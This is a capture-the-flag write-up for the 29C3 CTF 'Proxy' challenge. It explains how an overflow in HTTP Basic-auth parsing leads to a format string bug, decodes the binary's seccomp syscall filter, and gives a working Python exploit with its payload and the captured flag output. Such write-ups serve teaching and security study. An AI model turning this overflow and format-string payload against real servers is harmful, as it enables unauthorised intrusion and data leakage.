30
Dec
2012

29C3 CTF – Proxy

Proxy is an authenticated http proxy (but a very simple one). It uses the system’s PAM authentication to verify username/password, so unless you already have a valid login on the server you won’t be able to give it a correct password. this probably means the vulnerability is somewhere before the authentication check.

And in fact, there is indeed a nice overflow in the http parsing code:

 8049035:        89 44 24 08                  mov    DWORD PTR [esp+0x8],eax
 8049039:        8b 85 b4 fb ff ff            mov    eax,DWORD PTR [ebp-0x44c]
 804903f:        89 44 24 04                  mov    DWORD PTR [esp+0x4],eax
 8049043:        8d 85 17 fc ff ff            lea    eax,[ebp-0x3e9]                        ; ebp-0x3e9 = auth str buf
 8049049:        89 04 24                     mov    DWORD PTR [esp],eax
 804904c:        e8 af fa ff ff               call   8048b00 <strncpy@plt> 


This copies the base64 encoded user/pass combo into a stack buffer which is too small. There are not many bytes which can be overwritten, but the pointer to the response string is just beyond the buffer. This pointer is set to various strings such as “501 not implemented”. Those strings are also in local stack buffers, so if we just overwrite the least significant byte of this pointer we can hopefully make the pointer point into a buffer which is under our control. That is useful because this pointer is used as the format string in a printf call, which means we can do a simple format string exploit.

As it turns out, this works just great. However, there is a problem: The proxy program is sandboxed using the SECCOMP_FILTER feature of the linux kernel, which allows to set a bytecode program in the kernel that is evaluated on every system call to allow or deny system calls, or even kill the process.

do_sandbox:
 80498ec:        55                           push   ebp
 80498ed:        89 e5                        mov    ebp,esp
 80498ef:        57                           push   edi
 80498f0:        56                           push   esi
 80498f1:        53                           push   ebx
 80498f2:        81 ec 8c 02 00 00            sub    esp,0x28c
 80498f8:        8d 95 90 fd ff ff            lea    edx,[ebp-0x270]
 80498fe:        bb 60 9e 04 08               mov    ebx,0x8049e60
 8049903:        b8 96 00 00 00               mov    eax,0x96
 8049908:        89 d7                        mov    edi,edx
 804990a:        89 de                        mov    esi,ebx
 804990c:        89 c1                        mov    ecx,eax
 804990e:        f3 a5                        rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
 8049910:        66 c7 85 88 fd ff ff         mov    WORD PTR [ebp-0x278],0x4b
 8049917:        4b 00 
 8049919:        8d 85 90 fd ff ff            lea    eax,[ebp-0x270]
 804991f:        89 85 8c fd ff ff            mov    DWORD PTR [ebp-0x274],eax
 8049925:        c7 44 24 10 00 00 00         mov    DWORD PTR [esp+0x10],0x0
 804992c:        00 
 804992d:        c7 44 24 0c 00 00 00         mov    DWORD PTR [esp+0xc],0x0
 8049934:        00 
 8049935:        c7 44 24 08 00 00 00         mov    DWORD PTR [esp+0x8],0x0
 804993c:        00 
 804993d:        c7 44 24 04 01 00 00         mov    DWORD PTR [esp+0x4],0x1
 8049944:        00 
 8049945:        c7 04 24 26 00 00 00         mov    DWORD PTR [esp],0x26
 804994c:        e8 bf f1 ff ff               call   8048b10 <prctl@plt>
 8049951:        85 c0                        test   eax,eax
 8049953:        74 0e                        je     8049963 <send@plt+0xd83>
 8049955:        c7 04 24 00 9e 04 08         mov    DWORD PTR [esp],0x8049e00
 804995c:        e8 9f f0 ff ff               call   8048a00 <perror@plt>
 8049961:        eb 37                        jmp    804999a <send@plt+0xdba>
 8049963:        8d 85 88 fd ff ff            lea    eax,[ebp-0x278] ; seccomp buffer
 8049969:        89 44 24 08                  mov    DWORD PTR [esp+0x8],eax
 804996d:        c7 44 24 04 02 00 00         mov    DWORD PTR [esp+0x4],0x2
 8049974:        00 
 8049975:        c7 04 24 16 00 00 00         mov    DWORD PTR [esp],0x16
 804997c:        e8 8f f1 ff ff               call   8048b10 <prctl@plt>
 8049981:        85 c0                        test   eax,eax
 8049983:        74 0e                        je     8049993 <send@plt+0xdb3>
 8049985:        c7 04 24 14 9e 04 08         mov    DWORD PTR [esp],0x8049e14
 804998c:        e8 6f f0 ff ff               call   8048a00 <perror@plt>
 8049991:        eb 07                        jmp    804999a <send@plt+0xdba>
 8049993:        b8 00 00 00 00               mov    eax,0x0
 8049998:        eb 36                        jmp    80499d0 <send@plt+0xdf0>
 804999a:        e8 51 f1 ff ff               call   8048af0 <__errno_location@plt>
 804999f:        8b 00                        mov    eax,DWORD PTR [eax]
 80499a1:        83 f8 16                     cmp    eax,0x16
 80499a4:        75 25                        jne    80499cb <send@plt+0xdeb>
 80499a6:        a1 cc c0 04 08               mov    eax,ds:0x804c0cc
 80499ab:        89 44 24 0c                  mov    DWORD PTR [esp+0xc],eax
 80499af:        c7 44 24 08 24 00 00         mov    DWORD PTR [esp+0x8],0x24
 80499b6:        00 
 80499b7:        c7 44 24 04 01 00 00         mov    DWORD PTR [esp+0x4],0x1
 80499be:        00 
 80499bf:        c7 04 24 24 9e 04 08         mov    DWORD PTR [esp],0x8049e24
 80499c6:        e8 55 f0 ff ff               call   8048a20 <fwrite@plt>
 80499cb:        b8 01 00 00 00               mov    eax,0x1
 80499d0:        81 c4 8c 02 00 00            add    esp,0x28c
 80499d6:        5b                           pop    ebx
 80499d7:        5e                           pop    esi
 80499d8:        5f                           pop    edi
 80499d9:        5d                           pop    ebp
 80499da:        c3                           ret    

As you can see it reads the bytecode program from 0x8049e60 and it is 0x96 * 4 bytes large. Dumping this to a file gives the raw bytecode, but how can we know what this does? the bpf_disasm tool from the libseccomp project can do this:

$ ./src/libseccomp-1.0.1/tools/bpf_disasm proxbpf
 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000004   ld  $data[4]
 0001: 0x15 0x01 0x00 0x40000003   jeq 1073741827 true:0003 false:0002
 0002: 0x06 0x00 0x00 0x00000000   ret KILL
 0003: 0x20 0x00 0x00 0x00000000   ld  $data[0]
 0004: 0x15 0x00 0x01 0x000000ad   jeq 173  true:0005 false:0006
 0005: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0006: 0x15 0x00 0x01 0x000000ae   jeq 174  true:0007 false:0008
 0007: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0008: 0x15 0x00 0x01 0x000000af   jeq 175  true:0009 false:0010
 0009: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0010: 0x15 0x00 0x01 0x0000007a   jeq 122  true:0011 false:0012
 0011: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0012: 0x15 0x00 0x01 0x0000000d   jeq 13   true:0013 false:0014
 0013: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0014: 0x15 0x00 0x01 0x000000c7   jeq 199  true:0015 false:0016
 0015: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0016: 0x15 0x00 0x01 0x0000008c   jeq 140  true:0017 false:0018
 0017: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0018: 0x15 0x00 0x01 0x00000055   jeq 85   true:0019 false:0020
 0019: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0020: 0x15 0x00 0x01 0x00000036   jeq 54   true:0021 false:0022
 0021: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0022: 0x15 0x00 0x01 0x0000001b   jeq 27   true:0023 false:0024
 0023: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0024: 0x15 0x00 0x01 0x000000dd   jeq 221  true:0025 false:0026
 0025: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0026: 0x15 0x00 0x01 0x000000c9   jeq 201  true:0027 false:0028
 0027: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0028: 0x15 0x00 0x01 0x0000008e   jeq 142  true:0029 false:0030
 0029: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0030: 0x15 0x00 0x01 0x00000077   jeq 119  true:0031 false:0032
 0031: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0032: 0x15 0x00 0x01 0x000000fc   jeq 252  true:0033 false:0034
 0033: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0034: 0x15 0x00 0x01 0x00000001   jeq 1    true:0035 false:0036
 0035: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0036: 0x15 0x00 0x01 0x00000003   jeq 3    true:0037 false:0038
 0037: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0038: 0x15 0x00 0x01 0x00000102   jeq 258  true:0039 false:0040
 0039: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0040: 0x15 0x00 0x01 0x000000bf   jeq 191  true:0041 false:0042
 0041: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0042: 0x15 0x00 0x01 0x00000004   jeq 4    true:0043 false:0044
 0043: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0044: 0x15 0x00 0x01 0x00000066   jeq 102  true:0045 false:0046
 0045: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0046: 0x15 0x00 0x01 0x00000005   jeq 5    true:0047 false:0048
 0047: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0048: 0x15 0x00 0x01 0x00000006   jeq 6    true:0049 false:0050
 0049: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0050: 0x15 0x00 0x01 0x0000003f   jeq 63   true:0051 false:0052
 0051: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0052: 0x15 0x00 0x01 0x0000002d   jeq 45   true:0053 false:0054
 0053: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0054: 0x15 0x00 0x01 0x000000c3   jeq 195  true:0055 false:0056
 0055: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0056: 0x15 0x00 0x01 0x000000f0   jeq 240  true:0057 false:0058
 0057: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0058: 0x15 0x00 0x01 0x000000c5   jeq 197  true:0059 false:0060
 0059: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0060: 0x15 0x00 0x01 0x00000137   jeq 311  true:0061 false:0062
 0061: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0062: 0x15 0x00 0x01 0x000000c0   jeq 192  true:0063 false:0064
 0063: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0064: 0x15 0x00 0x01 0x00000021   jeq 33   true:0065 false:0066
 0065: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0066: 0x15 0x00 0x01 0x0000007d   jeq 125  true:0067 false:0068
 0067: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0068: 0x15 0x00 0x01 0x0000010c   jeq 268  true:0069 false:0070
 0069: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0070: 0x15 0x00 0x01 0x0000010d   jeq 269  true:0071 false:0072
 0071: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0072: 0x15 0x00 0x01 0x0000005b   jeq 91   true:0073 false:0074
 0073: 0x06 0x00 0x00 0x7fff0000   ret ALLOW
 0074: 0x06 0x00 0x00 0x00000000   ret KILL

This just checks that it is a normal system call and that the system call id is in a given list of values. let’s parse these values and show the names of the allowed syscalls.

$ (./src//libseccomp-1.0.1/tools/bpf_disasm proxbpf  | grep -o 'jeq [0-9]\+' | cut -d' ' -f2 | tail -n +2 | while read; do grep " $REPLY\$" /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep __NR_ ; done)
#define __NR_rt_sigreturn 173
#define __NR_rt_sigaction 174
#define __NR_rt_sigprocmask 175
#define __NR_uname 122
#define __NR_time 13
#define __NR_getuid32 199
#define __NR__llseek 140
#define __NR_readlink 85
#define __NR_ioctl 54
#define __NR_alarm 27
#define __NR_fcntl64 221
#define __NR_geteuid32 201
#define __NR__newselect 142
#define __NR_sigreturn 119
#define __NR_exit_group 252
#define __NR_exit 1
#define __NR_read 3
#define __NR_set_tid_address 258
#define __NR_ugetrlimit 191
#define __NR_write 4
#define __NR_socketcall 102
#define __NR_open 5
#define __NR_close 6
#define __NR_dup2 63
#define __NR_brk 45
#define __NR_stat64 195
#define __NR_futex 240
#define __NR_fstat64 197
#define __NR_set_robust_list 311
#define __NR_mmap2 192
#define __NR_access 33
#define __NR_mprotect 125
#define __NR_statfs64 268
#define __NR_fstatfs64 269
#define __NR_munmap 91

So that’s a lot of system calls. notably open and mmap and send/recv. but still, this will be a very constrained environment and we don’t really know where the flag is. So let’s look at the rest of the binary.

The proxy also implements caching, as it turns out. It uses a single memory mapped file which contains blocks of 0x900 bytes, 0x100 bytes for the filename and 0x800 bytes for the http response. This might be where the flag is!

Using our format string bug to dump all the filenames in the cache does indeed yield a file named “flag”, and the corresponding http response 0x100 bytes furhter in memory contains the flag.

from struct import pack
import socket

cacheptr = 0x804c0d8 #+1

# cacheptr+1 str == \x80\xfd\xb7
cache = 0xb7fd8000 + 0x900 * 2 + 0x100 + 1


ruler = ''.join(chr(i) for i in range(0x41, 0x41+26))
if True:
        i = -1
        ruler = "x"
        ruler += pack("I", cache) 
        ruler += "%36$s"
        tmp = 'GET / HTTP/1.1\nAuthorization: Basic '
        tmp += ruler + ('A' * (473-len(ruler))) + chr(143)

        print 'SEND', i, len(tmp), repr(tmp)

        s = socket.create_connection(('94.45.252.240',1024))
        s.send(tmp)
        try:
                while True:
                        tmp = s.recv(1024)
                        if not tmp: break
                        print 'RECV', repr(tmp)
        except:
                print "exception"
$ python waka.py 
SEND -1 510 'GET / HTTP/1.1\nAuthorization: Basic x\x01\x93\xfd\xb7%36$sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8f'
RECV 'HTTP/1.0 x\x01\x93\xfd\xb7TTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/2.7.3\r\nDate: Wed, 26 Sep 2012 19:47:00 GMT\r\nContent-type: application/octet-stream\r\nContent-Length: 38\r\nLast-Modified: Wed, 19 Sep 2012 15:44:26 GMT\r\n\r\n29C3_8391291afacf90ba3d3ba22c0bac297e\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8f\xf3\xff\xbfGET / HTTP/1.1\nAuthorization: Basic x\x01\x93\xfd\xb7TTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/2.7.3\r\nDate: Wed, 26 Sep 2012 19:47:00 GMT\r\nContent-type: application/octet-stream\r\nContent-Length: 38\r\nLast-Modified: Wed, 19 Sep 2012 15:44:26 GMT\r\n\r\n29C3_8391291afacf90ba3d3ba22c0bac297e\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
RECV 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8f\r\nWWW-Authenticate: Basic realm="pwnyhof"\r\nContent-Type: text/html\r\n\r\n<html><head><title>Reply</title></head>\r\n <body>An error occured!</body></html>\r\n'

Flag: 29C3_8391291afacf90ba3d3ba22c0bac297e

Comments are closed.